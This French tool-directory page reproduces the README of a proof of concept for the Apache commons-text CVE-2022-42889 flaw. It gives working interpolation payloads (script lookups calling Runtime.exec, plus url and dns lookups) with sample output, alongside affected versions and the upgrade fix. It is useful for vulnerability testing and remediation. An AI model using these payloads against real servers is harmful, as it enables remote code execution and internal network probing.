Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42889-PoC — Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889. | Kitploit
Outils/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889.

Voir le dépôt
34172il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-42889 Preuve de concept (PoC)

Ceci est une preuve de concept pour la vulnérabilité CVE-2022-42889. Ce code exécute le code JavaScript 195 + 324. Si vulnérable, le résultat devrait être :

root@kitploit:~
Sortie de la preuve de concept : 519

Pour exécuter ceci, vous aurez besoin de :

  • JDK 11 ou supérieur
  • Maven

Lorsque vous serez invité à entrer une chaîne d'exploitation, vous pouvez soit fournir votre propre chaîne d'exploitation (et appuyer sur Entrée pour la saisir), soit simplement appuyer sur Entrée pour utiliser la chaîne d'exploitation par défaut ${script:javascript:195 + 324}.

Docker

Alternativement, vous pouvez utiliser Docker pour exécuter cette preuve de concept :

root@kitploit:~
docker build -t poc .
docker run -it poc

Quel est le problème ?

Le problème vient du fait que les clés suivantes ne devraient pas être interpolées par défaut (selon la documentation https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html) :

  • script
  • dns
  • url

script

Cette recherche permet d'exécuter le code JavaScript fourni. Le résultat est la capacité pour un attaquant d'exécuter du code arbitraire sur le système.

Format

root@kitploit:~
${script:<moteur>:<code>}

Exemple

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Exemple dans la preuve de concept :

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Cette recherche appelle l'URL spécifiée. Un attaquant pourrait exploiter cela pour effectuer des requêtes GET simples vers des ressources internes.

Format

root@kitploit:~
${url:<encodage-caractères>:<url>}

Exemple

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Exemple dans la preuve de concept :

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Cette recherche effectue une requête DNS ou une recherche inversée. Cela pourrait permettre à un attaquant d'identifier des ressources internes.

Format

root@kitploit:~
${dns:<adresse,nom-canonique,nom>|<hôte>}

Exemple

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Exemple dans la preuve de concept :

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

Cependant, en raison d'une faille dans la logique, ces 3 clés sont interpolées par défaut, alors qu'elles ne devraient pas l'être (car elles pourraient représenter un risque de sécurité).

Quel est le risque ?

Un attaquant ayant le contrôle sur la chaîne passée dans un remplacement StringSubstitutor affecté pourrait permettre à l'attaquant de :

  • Exécuter du code JavaScript sur le système (généralement un serveur) exécutant le code StringSubstitutor
  • Se connecter à d'autres serveurs à partir du système affecté
  • Potentiellement obtenir un accès à d'autres ressources distantes depuis le système affecté

Suis-je vulnérable ?

Pour que votre code soit vulnérable, vous devez :

  • Exécuter une version d'Apache commons-text de la version 1.5.0 jusqu'à (mais excluant) 1.10.0

  • Utiliser l'interpolation pour votre StringSubstitution (voir https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Notez que dans JDK 15 et ultérieur, le moteur JavaScript Nashorn n'est plus inclus. Cependant, le moteur JEXL est toujours inclus et par conséquent une RCE peut encore être possible.

    (remerciements à rgmz pour avoir souligné ceci)

Correctif officiel

Le correctif consiste à mettre à jour vos instances de commons-text vers les versions 1.10.0 ou ultérieures.

Remarque

Les autres recherches par défaut pourraient encore potentiellement représenter un risque de sécurité (comme la capacité de lire le contenu de fichiers, lire les propriétés système, etc.). Utilisez cette fonctionnalité avec prudence et assurez-vous que toutes les entrées utilisateur sont correctement nettoyées (par exemple en passant par une liste blanche).

Télécharger l’outil